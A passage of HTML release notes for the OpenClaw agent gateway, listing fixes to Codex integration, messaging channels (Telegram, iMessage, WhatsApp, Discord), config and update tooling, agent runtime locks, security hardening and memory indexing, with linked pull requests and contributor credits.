href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Codex: project newer OpenClaw chat history into resumed app-server threads and keep Codex turn timeouts inside the Codex runtime boundary so timeouts do not poison shared app-server clients or fall through to unrelated provider fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520169285" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86677" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86677/hovercard" href="https://github.com/openclaw/openclaw/pull/86677">#86677</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516861602" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86476" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86476/hovercard" href="https://github.com/openclaw/openclaw/pull/86476">#86476</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Config/doctor/update: narrow profiled tool-section doctor repair, keep runtime-injected legacy web-search provider config out of user-authored config validation, and keep prerelease tags excluded from stable updater resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527248275" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87030" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87030/hovercard" href="https://github.com/openclaw/openclaw/pull/87030">#87030</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522614131" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86818" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86818/hovercard" href="https://github.com/openclaw/openclaw/pull/86818">#86818</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518201643" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86559" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86559/hovercard" href="https://github.com/openclaw/openclaw/pull/86559">#86559</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</p>
</li>
<li>
<p>CLI/Windows: add a Windows-only stack-size respawn for stack-heavy startup paths, default CLI logs to local timestamps, and validate timeout/banner TTY state more strictly. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527294921" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87031" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87031/hovercard" href="https://github.com/openclaw/openclaw/pull/87031">#87031</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503181039" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85387" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85387/hovercard" href="https://github.com/openclaw/openclaw/pull/85387">#85387</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Locking/security: require owner identity proof before stale plugin lock removal, memoize session lock owner arguments, and avoid writing default exec approval stores unless policy state actually changed. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522554669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86814" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86814/hovercard" href="https://github.com/openclaw/openclaw/issues/86814">#86814</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525826501" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86964" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86964/hovercard" href="https://github.com/openclaw/openclaw/pull/86964">#86964</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Alix-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Alix-007">@Alix-007</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Install/release: bound Docker package build, inventory, pack, and tarball preparation with process-group timeouts; pin shrinkwrap patch drift to the pnpm lock; harden macOS restart and dSYM packaging; and run release Docker/live timeout wrappers in the foreground so child processes cannot wedge gates.</p>
</li>
<li>
<p>Telegram/network: treat <code>ENETDOWN</code> as a transient pre-connect network failure so Telegram sends, gateway unhandled-rejection handling, and cron network retries follow the same recovery path as sibling network outages. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521478619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86762" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86762/hovercard" href="https://github.com/openclaw/openclaw/pull/86762">#86762</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</p>
</li>
<li>
<p>Telegram: preserve inbound text entities, overlapping DM replies, account topic cache sidecars, outbound reply context, targeted bot-command mentions, durable group retry targets, forum topic names, and native progress callbacks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473919972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83873" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83873/hovercard" href="https://github.com/openclaw/openclaw/pull/83873">#83873</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502811207" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85361" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85361/hovercard" href="https://github.com/openclaw/openclaw/pull/85361">#85361</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506247444" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85555" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85555/hovercard" href="https://github.com/openclaw/openclaw/pull/85555">#85555</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507163567" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85656" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85656/hovercard" href="https://github.com/openclaw/openclaw/pull/85656">#85656</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508034086" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85709" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85709/hovercard" href="https://github.com/openclaw/openclaw/pull/85709">#85709</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513918910" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86299" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86299/hovercard" href="https://github.com/openclaw/openclaw/pull/86299">#86299</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518070126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86553/hovercard" href="https://github.com/openclaw/openclaw/pull/86553">#86553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>iMessage: read image attachments from local Messages attachment roots, dedupe duplicate local Messages-source accounts, seed direct DM history, fix image/group media attachment commands, advance catchup cursors after live handling, and keep slash-command acknowledgements in the source conversation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4460513299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82642" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82642/hovercard" href="https://github.com/openclaw/openclaw/pull/82642">#82642</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504709372" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85475" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85475/hovercard" href="https://github.com/openclaw/openclaw/pull/85475">#85475</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518328054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86569" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86569/hovercard" href="https://github.com/openclaw/openclaw/pull/86569">#86569</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520556743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86705" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86705/hovercard" href="https://github.com/openclaw/openclaw/pull/86705">#86705</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520562136" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86706" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86706/hovercard" href="https://github.com/openclaw/openclaw/pull/86706">#86706</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521775849" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86770" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86770/hovercard" href="https://github.com/openclaw/openclaw/pull/86770">#86770</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/homer-byte/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/homer-byte">@homer-byte</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/swang430/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/swang430">@swang430</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>.</p>
</li>
<li>
<p>WhatsApp/QQ/Twitch/IRC/Slack: restore WhatsApp ack identity and group-drop warnings, make QQ Bot media respect <code>OPENCLAW_HOME</code>, serialize Twitch auth disconnects, store IRC channel routes canonically, and keep Slack downloaded files out of reply media. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473618299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83833" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83833/hovercard" href="https://github.com/openclaw/openclaw/pull/83833">#83833</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501915785" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85309" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85309/hovercard" href="https://github.com/openclaw/openclaw/pull/85309">#85309</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508902915" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85777" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85777/hovercard" href="https://github.com/openclaw/openclaw/pull/85777">#85777</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509181286" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85794/hovercard" href="https://github.com/openclaw/openclaw/pull/85794">#85794</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510338183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85906" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85906/hovercard" href="https://github.com/openclaw/openclaw/pull/85906">#85906</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514166403" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86318" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86318/hovercard" href="https://github.com/openclaw/openclaw/pull/86318">#86318</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520463860" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86697" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86697/hovercard" href="https://github.com/openclaw/openclaw/pull/86697">#86697</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliverp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliverp">@sliverp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>.</p>
</li>
<li>
<p>Discord/voice: improve voice playback and wake replies, bucket large model picker menus, merge media captions into one message, route metadata through configured proxies, restore numeric channel sends, suppress self-reply echoes, and tighten wake matching without breaking fuzzy wake phrases. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415391667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80227/hovercard" href="https://github.com/openclaw/openclaw/issues/80227">#80227</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513382967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86238" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86238/hovercard" href="https://github.com/openclaw/openclaw/pull/86238">#86238</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517016511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86487/hovercard" href="https://github.com/openclaw/openclaw/pull/86487">#86487</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518354506" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86571" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86571/hovercard" href="https://github.com/openclaw/openclaw/pull/86571">#86571</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518728147" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86595" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86595/hovercard" href="https://github.com/openclaw/openclaw/pull/86595">#86595</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518852311" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86601" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86601/hovercard" href="https://github.com/openclaw/openclaw/pull/86601">#86601</a>)</p>
</li>
<li>
<p>Codex: preserve native web-search metadata, keep oversized native thread reuse, bridge CLI API-key auth into the app server, preserve sandbox bootstrap path style, recover context-window prompt errors, honor yolo approval policy, disable native thread personality, and route compaction through Codex auth. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503098560" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85378" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85378/hovercard" href="https://github.com/openclaw/openclaw/pull/85378">#85378</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506087008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85542/hovercard" href="https://github.com/openclaw/openclaw/pull/85542">#85542</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510132239" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85891" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85891/hovercard" href="https://github.com/openclaw/openclaw/pull/85891">#85891</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510371309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85909/hovercard" href="https://github.com/openclaw/openclaw/pull/85909">#85909</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515716562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86408/hovercard" href="https://github.com/openclaw/openclaw/pull/86408">#86408</a>)</p>
</li>
<li>
<p>Agents/runtime: enforce session lock max-hold reclaim, release embedded-attempt locks on all exits, treat aborted subagent runs as terminal, avoid runtime model hydration on hot paths, disclose scoped session list counts, derive overflow budgets from provider errors, and keep fallback errors scoped to the active model candidate. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313476027" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70473/hovercard" href="https://github.com/openclaw/openclaw/pull/70473">#70473</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508768461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85764/hovercard" href="https://github.com/openclaw/openclaw/pull/85764">#85764</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511256935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86014/hovercard" href="https://github.com/openclaw/openclaw/issues/86014">#86014</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512330133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86134" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86134/hovercard" href="https://github.com/openclaw/openclaw/pull/86134">#86134</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515962032" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86427" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86427/hovercard" href="https://github.com/openclaw/openclaw/pull/86427">#86427</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525235363" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86944" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86944/hovercard" href="https://github.com/openclaw/openclaw/pull/86944">#86944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Config/update/doctor: retry config recovery after failed backup restore, skip shell env fallback on Windows, exclude prerelease tags from the stable git channel, support deep config edits, warn instead of aborting on unreadable cron stores, prune stale bundled plugin paths, and avoid duplicate restart prompts when the Gateway is already healthy. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508546495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85739" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85739/hovercard" href="https://github.com/openclaw/openclaw/pull/85739">#85739</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509027061" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85787" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85787/hovercard" href="https://github.com/openclaw/openclaw/pull/85787">#85787</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511769726" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86060/hovercard" href="https://github.com/openclaw/openclaw/pull/86060">#86060</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513592243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86260" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86260/hovercard" href="https://github.com/openclaw/openclaw/pull/86260">#86260</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515361802" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86384/hovercard" href="https://github.com/openclaw/openclaw/pull/86384">#86384</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517880193" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86533/hovercard" href="https://github.com/openclaw/openclaw/pull/86533">#86533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoyl830/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoyl830">@liaoyl830</a>.</p>
</li>
<li>
<p>Install/release: support Alpine CLI installs and runtime floors, avoid npm <code>min-release-age</code> installer failures, bound npm/package/Docker install phases, restore config parent ownership in Docker, seed Docker lockfile package tarballs before prune, and make release/plugin prerelease checks fail closed instead of hanging or false-greening. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505205830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85491" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85491/hovercard" href="https://github.com/openclaw/openclaw/pull/85491">#85491</a>)</p>
</li>
<li>
<p>Security: avoid printing Gateway tokens in Docker, validate plugin model-pattern regexes safely, escape transcript metadata field names, harden session allowlist glob matching, audit Claude permission overrides under YOLO, and require explicit allow for ACP auto approvals. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509772199" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85849" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85849/hovercard" href="https://github.com/openclaw/openclaw/pull/85849">#85849</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510569360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85934/hovercard" href="https://github.com/openclaw/openclaw/pull/85934">#85934</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511654235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86046/hovercard" href="https://github.com/openclaw/openclaw/pull/86046">#86046</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518138669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86557" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86557/hovercard" href="https://github.com/openclaw/openclaw/pull/86557">#86557</a>)</p>
</li>
<li>
<p>Media/images: replace Sharp with Rastermill, keep EXIF normalization best-effort, normalize HEIC/HEIF before image descriptions, route Codex image API keys through OpenAI, preserve image compression metadata, and auto-scale live tool result caps. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508895502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85776" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85776/hovercard" href="https://github.com/openclaw/openclaw/pull/85776">#85776</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511517298" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86037/hovercard" href="https://github.com/openclaw/openclaw/pull/86037">#86037</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516124165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86437" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86437/hovercard" href="https://github.com/openclaw/openclaw/pull/86437">#86437</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4523450985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86857" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86857/hovercard" href="https://github.com/openclaw/openclaw/pull/86857">#86857</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524700097" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86923" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86923/hovercard" href="https://github.com/openclaw/openclaw/pull/86923">#86923</a>)</p>
</li>
<li>
<p>Memory: prevent semantic vector indexes from silently degrading when embeddings are unavailable, stop doctor OOMs on large session stores, preserve sidecar hooks/artifacts, write fallback dream diaries, use CJK-aware dreaming dedupe, and avoid per-file watcher FD fan-out. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4419718885" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80613" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80613/hovercard" href="https://github.com/openclaw/openclaw/issues/80613">#80613</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462409079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82928/hovercard" href="https://github.com/openclaw/openclaw/issues/82928">#82928</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496988085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85060/hovercard" href="https://github.com/openclaw/openclaw/pull/85060">#85060</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507908481" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85704" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85704/hovercard" href="https://github.com/openclaw/openclaw/pull/85704">#85704</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510790288" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85967" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85967/hovercard" href="https://github.com/openclaw/openclaw/pull/85967">#85967</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520541942" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86701" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86701/hovercard" href="https://github.com/openclaw/openclaw/pull/86701">#86701</a>) Thanks <a class="user-mention notranslate" 